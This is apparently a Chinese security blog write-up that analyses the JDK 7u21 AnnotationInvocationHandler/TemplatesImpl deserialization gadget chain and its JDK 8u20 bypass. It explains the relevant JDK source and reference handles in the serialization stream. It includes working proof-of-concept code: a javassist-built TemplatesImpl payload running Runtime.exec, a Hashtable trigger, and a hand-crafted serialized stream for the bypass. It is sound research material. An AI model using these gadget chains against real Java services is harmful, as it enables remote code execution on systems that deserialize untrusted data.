前言
非常特别的反序列化链,虽然可用范围很小,但是用到的类都在 JDK 内部。
7u21
观察到参考文章里面的修复方式是对 AnnotationInvocationHandler 类的 this.type 属性做了限制,所以找找用到这个属性的地方,找到 getMemberMethods 函数:
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
函数中会使用反射根据 type 属性获取某个 Class 中定义的函数,再找找调用了 getMemberMethods 函数的地方:
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
}
...
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
简单来说就是在参数为 type 的实例的时候,可以按顺序调用某个类/接口的函数,但是如果调用了有参函数就会抛出异常结束执行,所以选择类/接口的时候要注意其函数的顺序。
而我们的好朋友 TemplatesImpl 类继承了 Templates 接口,里面只有两个函数:
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
而这两个函数都可以出发我们熟悉的 TemplatesImpl 从字节码中定义、加载类的操作,所以可以用这种方式进行 RCE。
equalsImpl 这个名字明显与 equals 相关,调用代码在 invoke 中:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
...
}
用 AnnotationInvocationHandler 代理 equals,就能触发上面的反射调用函数。而 readObject 中会触发 equals 的类也挺多的, 比如 HashSet、HashTable 等等。
maven 弄个适用于 JDK7 的低版本 javassist:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.18.2-GA</version>
</dependency>
测试代码(使用 HashTable 需要注意一下保证 hashCode 一致):
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(testJavassist.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "Pwn");
setField(templates, "_tfactory", TransformerFactoryImpl.newInstance());
Map map = new HashMap(2);
map.put("", templates);
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
Map mapProxy = (Map) Proxy.newProxyInstance(map.getClass().getClassLoader(), map.getClass().getInterfaces(), annotationInvocationHandler);
Hashtable hashtable = new Hashtable();
hashtable.put("1", "2");
hashtable.put("2", "2");
Object[] table = (Object[]) getFieldValue(hashtable, "table");
setField(table[5], "key", templates);
setField(table[6], "key", mapProxy);
unserialize(serialize(hashtable));
8u20
在 AnnotationInvocationHandler 类中的修复如下:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
...
}
在 readObject 函数中进行了限制,如果 type 属性不是注解类型,就会抛出异常直接中断反序列化进程。
但是对 Java 反序列化有一点了解的师傅都知道,异常是在 readObject 函数中抛出的,此时该对象的大部分数据已经完成了反序列化,剩下还没反序列化的就是 writeObject 函数中额外写入的函数(如 writeObject、writeInt 等)。
而 AnnotationInvocationHandler 类中并没有 writeObject 函数,也就是说此时 AnnotationInvocationHandler 对象其实已经反序列化完成了,只是被抛出的异常中断了流程。所以只要解决这个抛出的异常,我们就能绕过这个修复继续 RCE,而解决异常的方法一般来说就是 try/catch,比如在某个类的 readObject 函数中,有一块 try/catch 的代码块里面调用了 readObject 还原 writeObject 写入的额外数据。
但这样一来即使捕获了异常没有中断反序列化,反序列化出来的这个 AnnotationInvocationHandler 对象多半也会因为抛出了异常而不会保存下来,变成一个只存在于内存,无法访问的“幽灵”对象。
按照 payload 原作者的思路,要访问这个“幽灵”对象,就要用到一个 Java 反序列化的机制 REFERENCE,用 SerializationDumper 查看将一个对象写入两次生成的序列化数据:
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 15 - 0x00 0f
Value - org.example.Foo - 0x6f72672e6578616d706c652e466f6f
serialVersionUID - 0x74 83 16 48 f2 29 b7 cf
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
org.example.Foo
values
TC_REFERENCE - 0x71
Handle - 8257537 - 0x00 7e 00 01
因为同一个对象写入了两次,而为了反序列化的简便肯定不会将相同数据写入两次,所以第二次写入的时候写入的就不是对象,而是一个 REFERENCE 引用,指向前面的对象,反序列化的时候就能知道这里是个与前面相同的数据。
按照原作者的思路,这里构造 payload 要自行编写字节码(因为是流式数据,所以按顺序写下去就行了),构造难度不高,阅读一遍原作者的源码就能明白。
唯一有一个坑点的就是 AnnotationInvocationHandler 对象的 flag 字段,如果不加上代表 SC_WRITE_METHOD 的 1,在抛出异常后会导致后续的反序列化出错,理由不明(或许是因为没有实现 writeObject 函数的类,在 readObject 时不会有因为反序列化额外数据导致的异常,所以此时如果出现了异常就会直接中断反序列化)。
我自己写了个 Hashtable 的利用链来巩固一下:
return new Object[]{
STREAM_MAGIC, STREAM_VERSION, // 序列化数据头
TC_OBJECT,
TC_CLASSDESC,
Hashtable.class.getName(),
0x13bb0f25214ae4b8L, // serialVersionUID
(byte) 3, // flags (SC_SERIALIZABLE)
(short) 1, // field count
(byte) 'F', "loadFactor",
TC_ENDBLOCKDATA,
TC_NULL,
0.75f,
TC_BLOCKDATA,
(byte) 8,
0,
2,
TC_OBJECT,
TC_PROXYCLASSDESC,
1,
Map.class.getName(),
TC_ENDBLOCKDATA,
TC_CLASSDESC,
Proxy.class.getName(),
-2222568056686623797L,
(byte) 2,
(short) 2,
(byte) 'L', "foo", TC_STRING, "Ljava/lang/Object;",
(byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;",
TC_ENDBLOCKDATA,
TC_NULL,
TC_OBJECT,
TC_CLASSDESC,
BeanContextSupport.class.getName(),
-4879613978649577204L,
(byte) 3,
(short) 1,
(byte) 'I', "serializable",
TC_ENDBLOCKDATA,
TC_CLASSDESC,
BeanContextChildSupport.class.getName(),
6328947014421475877L,
(byte) 2,
(short) 1,
(byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
TC_ENDBLOCKDATA,
TC_NULL,
TC_REFERENCE, baseWireHandle + 0x0a,
1,
TC_OBJECT,
TC_CLASSDESC,
"sun.reflect.annotation.AnnotationInvocationHandler",
6182022883658399397L,
(byte) 3,
(short) 2,
(byte) 'L', "type", TC_STRING, "Ljava/lang/Class;",
(byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;",
TC_ENDBLOCKDATA,
TC_NULL,
Templates.class,
TC_OBJECT,
TC_CLASSDESC,
HashMap.class.getName(),
0x0507dac1c31660d1L,
(byte) 3,
(short) 1,
(byte) 'F', "loadFactor",
TC_ENDBLOCKDATA,
TC_NULL,
0.75f,
TC_BLOCKDATA,
(byte) 8,
0,
1,
TC_STRING, "",
templates,
TC_ENDBLOCKDATA,
TC_BLOCKDATA,
(byte) 4,
0,
TC_ENDBLOCKDATA,
TC_REFERENCE, baseWireHandle + 0x0e,
TC_STRING, "foo",
TC_REFERENCE, baseWireHandle + 0x1a,
TC_STRING, "Twings",
TC_ENDBLOCKDATA,
};
最后再 patch 一下,将 templates 中属性 _name 的引用 handler 改成某个 String 即可。
理论上,传统构造方式应该也是可行的(给 AnnotationInvocationHandler 对象的 flag 加上 SC_WRITE_METHOD,再用 endorsed 修改一下 Proxy 等类,加上一个不存在的 Object 类型属性),但是比较麻烦就是了。
参考
https://mp.weixin.qq.com/s/Daipik5qK6cIuYl49G-n4Q